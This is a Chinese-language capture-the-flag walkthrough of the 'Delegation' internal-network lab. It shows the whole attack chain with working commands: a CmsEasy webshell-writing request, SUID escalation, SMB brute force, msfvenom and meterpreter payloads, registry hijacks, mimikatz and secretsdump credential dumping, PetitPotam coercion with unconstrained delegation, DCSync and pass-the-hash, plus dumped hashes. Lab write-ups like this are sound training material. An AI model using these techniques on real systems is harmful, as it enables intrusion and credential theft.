春秋云境 Delegation

Delegation是一套难度为中等的靶场环境，完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法，加强对域环境核心认证机制的理解，以及掌握域环境渗透中一些有趣的技术要点。该靶场共有4个flag，分布于不同的靶机。

前置知识:

linux提权笔记
 内网渗透学习(代理篇)
域渗透学习(Credentials篇)
windows提权笔记
 域渗透学习(NTLM篇)
域渗透学习(Kerberos篇)

入口（172.22.4.36）

fscan没扫到啥东西

访问 /admin 可以看到 Powered by CmsEasy V.7752

admin/123456 弱口令进入后台

存在后台任意文件写入和任意文件读取

写入shell

POST /index.php?case=template&act=save&admin_dir=admin&site=default HTTP/1.1
Host: 39.101.128.141
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://39.101.128.141/index.php?admin_dir=admin&site=default
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=87762D6726B0AE8F4618CF513169A6C3; Hm_lvt_1cd9bcbaae133f03a6eb19da6579aaba=1782458048; HMACCOUNT=053DB4DD3A650D71; Hm_lpvt_1cd9bcbaae133f03a6eb19da6579aaba=1782459132; PHPSESSID=bm59ctp9akb0379svgue7pi57j; login_username=admin; login_password=a14cdfc627cef32c707a7988e70c1313
Connection: keep-alive
Content-Length: 75
Content-Type: application/x-www-form-urlencoded

sid=#data_d_.._d_.._d_.._d_1.php&slen=693&scontent=<?php eval($_POST[a]);?>

读取文件

POST /index.php?case=template&act=fetch&admin_dir=admin&site=default HTTP/1.1
Host: 39.101.128.141
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://39.101.128.141/index.php?admin_dir=admin&site=default
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=87762D6726B0AE8F4618CF513169A6C3; Hm_lvt_1cd9bcbaae133f03a6eb19da6579aaba=1782458048; HMACCOUNT=053DB4DD3A650D71; Hm_lpvt_1cd9bcbaae133f03a6eb19da6579aaba=1782459132; PHPSESSID=bm59ctp9akb0379svgue7pi57j; login_username=admin; login_password=a14cdfc627cef32c707a7988e70c1313
Connection: keep-alive
Content-Length: 54
Content-Type: application/x-www-form-urlencoded

id=#data_d_.._d_.._d_.._d_config_d_config_database.php

连上shell后suid提权

diff可用

diff --line-format=%L /dev/null /home/flag/flag01.txt

内网

建立代理

1	`nohup ./iox proxy -l 6666 &`

fscan

172.22.4.36:3306 open
172.22.4.7:445 open
172.22.4.45:445 open
172.22.4.19:445 open
172.22.4.7:139 open
172.22.4.19:135 open
172.22.4.19:139 open
172.22.4.45:139 open
172.22.4.7:135 open
172.22.4.45:135 open
172.22.4.45:80 open
172.22.4.36:80 open
172.22.4.36:22 open
172.22.4.36:21 open
172.22.4.7:88 open
[*] NetInfo
[*]172.22.4.7
   [->]DC01
   [->]172.22.4.7
[*] NetInfo
[*]172.22.4.45
   [->]WIN19
   [->]172.22.4.45
[*] WebTitle http://172.22.4.45        code:200 len:703    title:IIS Windows Server
[*] NetBios 172.22.4.45     XIAORANG\WIN19
[*] NetBios 172.22.4.19     FILESERVER.xiaorang.lab             Windows Server 2016 Standard 14393
[*] NetInfo
[*]172.22.4.19
   [->]FILESERVER
   [->]172.22.4.19
[*] OsInfo 172.22.4.7	(Windows Server 2016 Datacenter 14393)
[*] NetBios 172.22.4.7      [+] DC:DC01.xiaorang.lab             Windows Server 2016 Datacenter 14393
[*] WebTitle http://172.22.4.36        code:200 len:68100  title:中文网页标题

总结

172.22.4.7  DC01.xiaorang.lab
172.22.4.45  XIAORANG\WIN19
172.22.4.19  FILESERVER.xiaorang.lab
172.22.4.36  入口主机

WIN19（172.22.4.45）

根据flag1中的提示进行爆破 Adrian 用户

1	`proxychains4 -q crackmapexec smb 172.22.4.45 -u 'Adrian' -p rockyou.txt -d WIN19 2>/dev/null`

得到 Adrian:babygirl1

windows下远程登录会报错

在linux下登录后修改密码

1	`proxychains4 rdesktop 172.22.4.45`

桌面有一个跑完的 privescheck

其中注册表有权限修改

方法一：映像劫持

msf 生成一个恶意文件，指向桌面的脚本

1	`msfvenom -p windows/x64/exec cmd="C:\windows\system32\cmd.exe /c C:\Users\Adrian\Desktop\evil.bat" --platform windows -f exe-service > evil.exe`

桌面写上需要执行的 bat，这里把粘滞键替换成了cmd

1	`REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Sethc.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe"`

然后修改注册表指向构造的恶意程序并触发

1
2
3

reg add "HKLM\SYSTEM\CurrentControlSet\Services\gupdate" /t REG_EXPAND_SZ /v ImagePath /d "C:\Users\Adrian\Desktop\evil.exe" /f

sc start gupdate

在锁屏登录界面触发粘滞键，创建一个管理员账户

然后用新账户登录获得 flag02

获取机器账号的ntlm hash

1	`mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords"" exit`

方法二：导出 sam 后解密

reg save 导出注册表文件

1
2
3

reg save hklm\system C:\Users\Adrian\Desktop\system
reg save hklm\sam C:\Users\Adrian\Desktop\sam
reg save hklm\security C:\Users\Adrian\Desktop\security

生成三个文件

secretsdump 解密

┌──(root㉿kali)-[~/aa]
└─# impacket-secretsdump LOCAL -system system -sam sam -security security
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Target system bootKey: 0x08092415ee8b9b2ad2f5f5060fb48339
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:ba21c629d9fd56aff10c3e826323e6ab:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:44d8d68ed7968b02da0ebddafd2dd43e:::
Adrian:1003:aad3b435b51404eeaad3b435b51404ee:91ff0fb948167eb4d080b5330686c02f:::
dr0n1:1005:aad3b435b51404eeaad3b435b51404ee:91ff0fb948167eb4d080b5330686c02f:::
[*] Dumping cached domain logon information (domain/username:hash)
XIAORANG.LAB/Aldrich:$DCC2$10240#Aldrich#e4170181a8bb2a24e6113a9b4895307a: (2022-06-24 03:18:39+00:00)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC 
$MACHINE.ACC:plain_password_hex:c88127bd7a03fc13f05366e685978844f6e29892af09c62f9fadb3e111c34bb3d8a99d8f0d9e91cddb91a2236201baa0e9a83b9668a00a8f30bd3ec9444712d9620347431168caf4827cab00e22a4b8b761d8458a1dbdc81094b7ee267db2fd2606a2024eb7496eece3ce8a83638b255eb2c77a5d33a8b651410f5bd88c7876d9cf412e371a25f5f0e97421656682e3ba0ddeb302eb6050e6214eb5e6bf27c7a1e6ef899bcd78d186e2e6304379c283bc103d9c4cb5635632e186bd05c78325b0eb800174546b09dc0c0a7ff55f8393a739058a1d9e52dd74fc6951ad83106b9519b5041251d17abf464e768f845b334
$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:b6cbbcf7b4b326a08b3d81147196d5a4
[*] DPAPI_SYSTEM 
dpapi_machinekey:0x4af114bade59102b7c64e41cde94be2257337fab
dpapi_userkey:0x372392e560b616ecd27b6ec0fe138ef86790b565
[*] NL$KM 
 0000   56 4B 21 B3 87 A3 29 41  FD 91 8F 3A 2D 2B 86 CC   VK!...)A...:-+..
 0010   49 4A EE 48 6C CD 9C D7  C7 DA 65 B6 62 4D 35 BD   IJ.Hl.....e.bM5.
 0020   09 F7 59 68 23 69 DE BA  2D 47 84 47 29 AD 5D AE   ..Yh#i..-G.G).].
 0030   A0 5F 19 CA 21 13 E4 6D  01 27 C3 FC 0C C1 0F 2E   ._..!..m.'......
NL$KM:564b21b387a32941fd918f3a2d2b86cc494aee486ccd9cd7c7da65b6624d35bd09f759682369deba2d47844729ad5daea05f19ca2113e46d0127c3fc0cc10f2e
[*] Cleaning up...

方法三：生成一个正向马

生成马

1	`msfvenom -p windows/meterpreter/bind_tcp LPORT=7788 -f exe > evil.exe`

启动 proxychains4 msfconsole

use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set RHOST 172.22.4.45
set LPORT 7788
exploit

session 存活时间很短，所以要迁移进程

ps 后 migrate 一个 system 的进程

获取 hash

以上三种方法都差不多，都可以获取 hash

跑一下 SharpHound

1
2
3

proxychains4 impacket-psexec administrator@172.22.4.45 -hashes "aad3b435b51404eeaad3b435b51404ee:ba21c629d9fd56aff10c3e826323e6ab" -codec gbk

SharpHound.exe -c all

可以看到 WIN19 和 DC01 的 Allows Unconstrained Delegation 都是开启的

想在图形化界面使用工具先用 mimikatz pth 一下 hash

1
2
3

mimikatz
privilege::debug
sekurlsa::pth /user:WIN19$ /domain:"xiaorang.lab" /ntlm:b6cbbcf7b4b326a08b3d81147196d5a4

或者使用 AdFind 等工具查看委派

1	`.\AdFind.exe -b "DC=xiaorang,DC=lab" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName`

Rubeus 开启监听

1	`Rubeus.exe monitor /interval:1 /filteruser:DC01$`

PetitPotam 或者 dfscoerce 等强制触发

这里写主机名可以成功，而 ip 则不行，不知道是什么原因。可能和 RPC/SPN/SMB 协商有关系？一个是 \\WIN19\IPC$ ，另一个是 \\172.22.4.45\IPC$

1
2
3

proxychains4 python PetitPotam.py -d xiaorang.lab -u WIN19$ -hashes aad3b435b51404eeaad3b435b51404ee:b6cbbcf7b4b326a08b3d81147196d5a4 WIN19 172.22.4.7

proxychains4 python dfscoerce.py -d xiaorang.lab -u WIN19$ -hashes aad3b435b51404eeaad3b435b51404ee:b6cbbcf7b4b326a08b3d81147196d5a4 WIN19 172.22.4.7

收到后 ptt 就可以 dcsync 了

域控 hash

502     krbtgt  767e06b9c74fd628dd13785006a9092b        514
1105    Aldrich 98ce19dd5ce74f670d230c7b1aa016d0        512
1106    Marcus  b91c7cc463735bf0e599a2d0a04df110        512
1112    WIN-3X7U15C2XDM$        c3ddf0ffd17c48e6c40e6eda9c9fbaf7        4096
1113    WIN-YUUAW2QG9MF$        125d0e9790105be68deb6002690fc91b        4096
1000    DC01$   fb866f1272c40150b915f50d5d36ccff        532480
500     Administrator   4889f6553239ace1f7c47fa2c619c252        512
1104    WIN19$  b6cbbcf7b4b326a08b3d81147196d5a4        528384
1103    FILESERVER$     69aaa197a5b4388d001151979abb05b8        4096

FILESERVER（172.22.4.19）

PTH

1
2
3

proxychains4 impacket-smbexec xiaorang.lab/administrator@172.22.4.19 -hashes :4889f6553239ace1f7c47fa2c619c252 -codec gbk

type c:\users\Administrator\flag\flag03.txt

DC（172.22.4.7）

PTH

1
2
3

proxychains4 impacket-smbexec xiaorang.lab/administrator@172.22.4.7 -hashes :4889f6553239ace1f7c47fa2c619c252 -codec gbk

type c:\users\Administrator\flag\flag04.txt